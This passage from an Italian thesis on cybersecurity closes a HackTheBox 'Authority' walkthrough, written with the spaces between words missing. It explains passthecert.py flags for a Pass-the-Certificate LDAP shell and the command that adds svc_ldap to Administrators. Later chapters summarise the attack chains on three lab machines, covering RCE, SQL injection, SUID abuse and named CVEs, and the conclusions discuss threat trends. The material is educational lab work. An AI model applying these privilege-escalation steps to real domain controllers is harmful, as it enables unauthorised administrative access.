generarelachiaveprivatasenzaincludereilcertiicato.

Ora,utilizzandoiltoolpassthecert.py(Figura5.26),possiamoautenticarcialserver
LDAPSutilizzandoicertiicatiappenacreatie,quindi,aggiungereilnostroutentealgruppo
degliamministratori.Lostrumentoprecedentementecitatoèunoscriptappartenentealla
suiteImpacketedèutilizzatopereseguirel’attacconotocome"Pass-the-Certiicate"(PtC),
ovverol’attaccanteutilizzaicertiicatidigitaliottenutiprecedentementeperottenerel’accesso
comeamministratore.Esaminiamo,nellospeciico,icomandiutilizzatiinFigura5.26:

•-action ldap-shellspeciical’azionedaeseguireutilizzandoloscript.Inquesto
caso,l’azioneè"ldap-shell",cheimplical’avviodiunashellLDAPsuunserver
remoto.
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•-crt user.crtspeciicaililedicertiicato,user.crtinquestocaso,cheverrà
utilizzatoperautenticarsialserver.

•-key user.keyspeciicaililedellaprivatekeyassociataalcertiicato,user.keyin
questocaso,chesaràutilizzataperautenticarsi.

•-domain authority.htbspeciicailnomedeldominio,ovveroauthority.htb,
alqualesistacercandodiautenticarsi.

•-dc-ip 10.10.11.222speciical’indirizzoIPdelcontrollerdidominio,ovvero
10.10.11.222,cheverràutilizzatoperlacomunicazione.

Figura5.26:Utilizzodeltoolpassthecert.py

Dopoavereseguitoilcomando,perpoteraggiungereilnostroutentealgruppodegliam-
ministratori,utilizziamoilcomandoadd_user_to_group svc_ldap Administrators
chepermette,appunto,diaggiungerel’utentesvc_ldapalgruppoAdministrators.In-
fatti,comesinotanelriquadrorossoinFigura5.27,osserviamocheiltuttoèandatoabuon
ineechel’utentesvc_ldaphaiprivilegidiamministratore.

Figura5.27:Aggiuntadell’utentesvc_ldapalgruppodegliamministratori

Inine,possiamoinalmenteaccederealledirectoryAdministratorse,quindi,aprireil
ileroot.txtcontenentelarootlagalpathC:\Users\Administrators\Desktop.La
rootlagèriquadratadirossoinFigura5.28.
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Figura5.28:Ottenimentodellarootlag



CAPITOLO 6

Discussione in merito al lavoro svolto

In questo capitolo saranno analizzate con molta attenzione le lezioni apprese nei capitoli
precedenti relativi alle tre esperienze di Red Team. Durante l’intera trattazione, sono stati
ampiamente discussi la cybersecurity e tutto ciò ad essa legato, come la sua importanza, le sue
componenti fondamentali, le tipologie di attacchi e minacce, ma, soprattutto, nel Capitolo 2, i
vari Team in gioco. Questi ultimi rappresentano una parte fondamentale della cybersecurity,
e, su tali Team, in particolare i Red Team, si basano i Capitoli 3, 4 e 5 precedentemente
illustrati.

Nei tre capitoli citati, possono essere osservati gli obiettivi finali del fenomeno del Red
Teaming, così come una serie di strumenti utilizzati, in tutti e tre i test, al fine di perseguire
tali obiettivi. Quanto detto non è altro che una messa in pratica di quanto già spiegato a
livello teorico nel Capitolo 2 e, come già accennato in tale capitolo, ogni esperienza di Red
Team, in termini di tempo, obiettivi, strumenti utilizzati, costo, etc. risulta essere diversa
dalle altre, caratteristica evidente grazie ai test effettuati nei capitoli precedenti. In effetti, da
un punto di vista esterno, potrebbe sembrare che, per ogni test che si effettua, gli strumenti
utilizzati siano sempre gli stessi e che, soprattutto, vengano utilizzati sempre per lo stesso
scopo. Dunque, per ogni macchina, tentiamo di definire in che modo essi siano utili e cosa si
impara da essi.

Le macchine studiate fanno parte di HackTheBox, un laboratorio online dove possono
essere testate e migliorate le proprie conoscenze riguardo il campo della cybersecurity, e sono
state studiate con un livello di difficoltà crescente, dalla più semplice alla più complicata, in
scenari diversi: Windows e Linux.

La prima macchina reale, di nome "MonitorsTwo", è la più facile tra le tre, ed è analizzata
in uno scenario di sistema operativo Linux. Partendo dall’enumerazione iniziale, effettuata
tramite lo strumento nmap, essa espone un’applicazione Web soggetta all’esecuzione di codice
remoto, Remote Code Execution (RCE), pre-autenticazione tramite un’intestazione X-Forwarded-
For (XFF), un campo degli header HTTP, che viene utilizzato per trasmettere informazioni
sull’indirizzo IP dell’utente o del client che sta facendo una richiesta HTTP attraverso uno
o più intermediari, come proxy o load balancer, che potrebbero modificare l’indirizzo IP
originale. Lo sfruttamento di questa vulnerabilità garantisce una shell all’interno di un
contenitore Docker, una tecnologia di virtualizzazione leggera, che consente di confezionare
un’applicazione e tutte le sue dipendenze. Inoltre, un binario capsh configurato in modo
errato con il set di bit SUID, (abbreviazione di "Set User ID") un tipo di permesso speciale
associato a un file eseguibile in sistemi Unix-like, consente l’accesso root all’interno di tale
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contenitore. Successivamente, la scoperta delle credenziali MySQL consente il dumping di un
hash che, una volta violato, fornisce l’accesso SSH alla macchina. Una volta fatto ciò, siamo in
grado di rilevare una versione Docker vulnerabile (CVE-2021-41091) che consente ad un
utente, con privilegi limitati, di attraversare ed eseguire programmi all’interno delle directory.
Infine, sfruttando l’accesso come root all’interno del contenitore, viene copiato un file binario
bash con il bit SUID impostato, il quale permette la Privilege Escalation sull’host. Questa, tra le
macchine in stato di "active", risulta essere, come già detto, la più facile da attaccare e studiare;
perciò, è una buona macchina per esercitarsi ed affacciarsi al mondo del Red Teaming.

La seconda macchina reale, chiamata "PC", è, anch’essa, analizzata in uno scenario di
sistema operativo Linux, ed è dotata di un endpoint gRPC vulnerabile a SQL Injection.
Dopo aver effettuato l’enumerazione tramite lo strumento nmap ed aver studiato, nella
fase di Vulnerability Analysis, le vulnerabilità di cui questa macchina soffre, siamo in grado
di recuperare le credenziali per l’accesso SSH alla macchina, contenute all’interno di un
database. Inoltre, l’elenco delle porte eseguite localmente rivela una versione obsoleta di
servizio pyLoad, che è suscettibile di pre-autenticazione Remote Code Execution (RCE) tramite
CVE-2023-0297. Poiché il servizio è eseguito da root, lo sfruttamento di questa vulnerabilità
porta al completamento della fase di Privilege Escalation. Tale macchina reale, rispetto alla
prima attaccata, permette di entrare più nello specifico nel mondo del testing, studiando e
sfruttando vulnerabilità interessanti e specifiche grazie a tool altrettanto interessanti; infatti,
tramite un’esperienza di questo tipo, si possono acquisire alcuni skill utili per altri test simili,
come:

• interagire con gRPC, introdotto precedentemente.

• interagire in prima persona e, quindi, capire il funzionamento delle SQL Injection, uno
dei cyberattacchi più famosi ed utilizzati ultimamente.

• imparare come funziona il local port forwarding, tecnica comunemente associata all’utiliz-
zo del protocollo SSH (Secure Shell), ormai impiegato in quasi tutti i test da parte degli
attaccanti. La tecnica, quindi, risulta utile per gettare le basi e capire come utilizzare al
meglio il protocollo SSH durante tali test.

Infine, la terza macchina reale attaccata, di nome "Authority", è la più impegnativa tra le
tre, ed è analizzata in uno scenario di sistema operativo Windows. Il focus, durante l’attacco, è
incentrato sull’estrazione di alcune credenziali da un file ansibile, file di configurazione scritto
in YAML (YAML Ain’t Markup Language) utilizzato con Ansible, un popolare strumento di
automazione e gestione della configurazione. Successivamente, tramite l’enumerazione, pos-
siamo effettuare l’acquisizione non sicura dell’autenticazione LDAP (Lightweight Directory
Access Protocol). Inoltre, tale macchina insegna come un modello dotato di un certificato
debole possa portare a una Privilege Escalation. Quest’ultima macchina, poiché l’unica studiata
in uno scenario di sistema operativo Windows, è la più difficile incontrata finora; essa risulta
essere la più realistica tra le tre, emulando in maniera più veritiera cosa effettivamente sia
un’esperienza di Red Team. Inoltre, questo test offre un vantaggio notevole, ovvero permette
di capire e studiare il tool BurpSuite, strumento che sta diventando sempre più popolare
ed efficace nelle esperienze di Red Team, per interagire con un server LDAP.

Da quanto detto, emerge come ogni esperienza di Red Team sia stata particolarmente
stimolante ed utile, al fine di utilizzare strumenti diversi e mirati per sfruttare determinate
vulnerabilità associate ad ogni macchina reale attaccata, in quanto, ogni test, e quindi ogni
macchina, risulta essere unico e diverso da qualsiasi altro.



Conclusioni

In questa tesi ci siamo proposti di analizzare e approfondire il concetto di cybersecurity e
l’importanza che aasume ai giorni d’oggi.

Inzialmente, ci siamo soffermati sul significato di cybersecurity, cercando di dare una
definizione sulla base dei pilastri su cui essi si fonda, ovvero Confidentiality, Integrity ed
Availability, e sugli strumenti che essi sfruttano.

In seguito, al fine di comprendere il valore che la cybersecurity occupa nelle nostre vite,
abbiamo studiato l’evoluzione di essa, partendo dagli anni ’70, anni in cui il primo virus
ha cominciato a diffondersi, dando vita al concetto di cybersecurity, fino ai nostri giorni,
periodo in cui il numero degli attacchi informatici è cresciuto a dismisura e, pertanto, è stato
necessario far acquisire alle persone nuovi livelli di consapevolezza dei rischi e fornire le
conoscenze necessarie per sostenere la sicurezza della rete.

Successivamente, abbiamo spostato il nostro focus sulle componenti fondamentali della
cybersecurity, ovvero le tecnologie, i processi e le persone, sottolineando che, per essere efficace,
la cybersecurity richiede delle misure di sicurezza che si fondano su tali elementi.

Abbiamo poi affrontato l’importanza della cybersecurity, dimostrando come, negli ultimi
anni, il numero di attacchi rilevati, a livello globale, è aumentato di circa il 60%, evidenziando
l’utilità della cybersecurity per prevenire e difendersi da essi.

Inoltre, abbiamo definito un aspetto cruciale della cybersecurity, ovvero l’Endpoint Security;
infatti, siamo consapevoli che i maggiori responsabili dei danni arrecati alla cybersecurity
sono proprio le persone.

Procedendo, abbiamo definito le principali cyber-minacce di cui soffre la cybersecurity,
soffermandoci sulle motivazioni che spingono i criminali ad effettuare attacchi e gli obiettivi
a cui mira ogni tipo di minaccia cibernetica.

Dopo aver trattato le cyber-minacce, abbiamo analizzato, nel dettaglio, i tipi di attacco di
cybersecurity più pericolosi utilizzati dai criminali, come malware, phishing, attacco DDoS,
Social engineering, etc. Per ognuno di essi sono stati approfonditi gli scopi e le metodologie
adottate, al fine di carpire i dati della vittima.

A seguire, ci siamo concentrati sulle squadre dedicate a testare l’efficacia di un programma
di sicurezza. Abbiamo evidenziato, per ogni Team, gli obiettivi principali e come essi lavorano,
insistendo maggiormente su Blue Team e Red Team, le due squadre principali e più importanti
ai fini del testing della cybersecurity. Infatti, per entrambi i Team, abbiamo definito i vantaggi
di cui godiamo utilizzandoli ed i compiti ai quali essi devono adempiere.

Inoltre, per quanto riguarda i Blue Team abbiamo definito gli strumenti più efficaci
utilizzati da essi, mentre per i Red Team abbiamo sottolineato le differenze esistenti con i
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Penetration test, in quanto sono due fenomeni molto simili, ma che divergono su alcune
caratteristiche.

L’esposizione presentata in questa tesi termina con una discussione in merito alle espe-
rienze di Red Team compiute su macchine reali: "MonitorsTwo", "PC" e "Authority", le prime
due su sistema operativo Linux e l’ultima su sistema operativo Windows.

Concludiamo questa tesi analizzando il futuro della cybersecurity; negli ultimi cinque
anni, come sottolineato dal rapporto Clusit 2023, le minacce alla cybersecurity sono aumentate
in maniera vertiginosa. Le principali cause sono:

• La pandemia da Covid-19, la quale ha avuto un profondo impatto sulla sicurezza
informatica. La spinta alla digitalizzazione ha portato lavoratori e utenti ad affidarsi
sempre di più al mondo digitale per diverse operazioni quotidiane, sia in ambito
professionale sia per le attività personali, e ciò ha permesso ai cyber criminali di dare
vita ad attacchi che un tempo non erano pensabili.

• La guerra scatenatasi tra Russia ed Ucraina, che, inevitabilmente, ha generato una
cyberwarfare, ovvero una guerra cibernetica, il cui scopo principale è quello di minare,
mediante il ricorso ad azioni malevole compiute nell’ambito del cyberspazio, i sistemi
necessari per il corretto funzionamento di una nazione, generando eventi dannosi
quali il non funzionamento di reti e sistemi informatici, l’intercettazione di dati, la
compromissione delle infrastrutture destinate alla produzione e alla distribuzione di
gas, luce e acqua, o delle reti finanziarie e commerciali, ovvero la paralisi dei sistemi
dei trasporti.

I cyber criminali sono sempre più scaltri; ciò che li ferma oggi potrebbe non fermali più
domani; loro sono in grado di attaccare anche i sistemi in assoluto più protetti. Proprio per
questo motivo, è essenziale che le aziende e le organizzazioni abbiano degli esperti e dei
software ad hoc ed è fondamentale aggiornare in modo costante i propri sistemi di sicurezza.

Le aziende stanno cercando sempre più di adottare una strategia di sicurezza informatica
efficace implementando i Blue Team e i Red Team. Si sta facendo sempre più uso di strumenti
innovativi e potenti per migliorare l’efficienza e l’efficacia delle esperienze di Red Team, che
agendo come dei veri e propri criminali, mettono alla prova le capacità del sistema, e dei
Blue Team, che identificano eventuali vulnerabilità nel sistema.

In conclusione, possiamo affermare che i movimenti dei criminali informatici evolvono
costantemente; ne deriva che anche le strategie di chi è deputato a difendere sistemi e dati
devono evolvere di conseguenza. L’interesse per la sicurezza informatica è costantemente
cresciuto negli anni e continuerà sicuramente a crescere in futuro, poiché la cybersecurity è
fondamentale per contribuire a garantire un ecosistema cyber sempre più sicuro e resiliente.
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Siti web consultati

• Akami – www.akamai.com

• BitMat – www.bitmat.it

• Cisco – www.cisco.com

• Cisco Umbrella – umbrella.cisco.com

• Commissariato di Pubblica Sicurezza online – www.commissariatodips.it

• CyberSecurity360 – www.cybersecurity360.it

• dGroove - Tecnologia emozionale – www.dgroove.it

• GPDP - Garante per la Protezione dei Dati Personali – /www.garanteprivacy.it

• HSC system – www.hscsystem.it

• IBM – www.ibm.com

• INSIC - l’Informazione per la Sicurezza tecnica, professionale, online – www.insic.it

• Kaspersky – www.kaspersky.it

• Malwarebytes – it.malwarebytes.com

• Microsoft Security – www.microsoft.com

• Rockwell Automation – www.rockwellautomation.com

• Statista – www.statista.com

• Tecnologico – tecnologico.wiki

• Treccani – www.treccani.it

• VmWare – www.vmware.com
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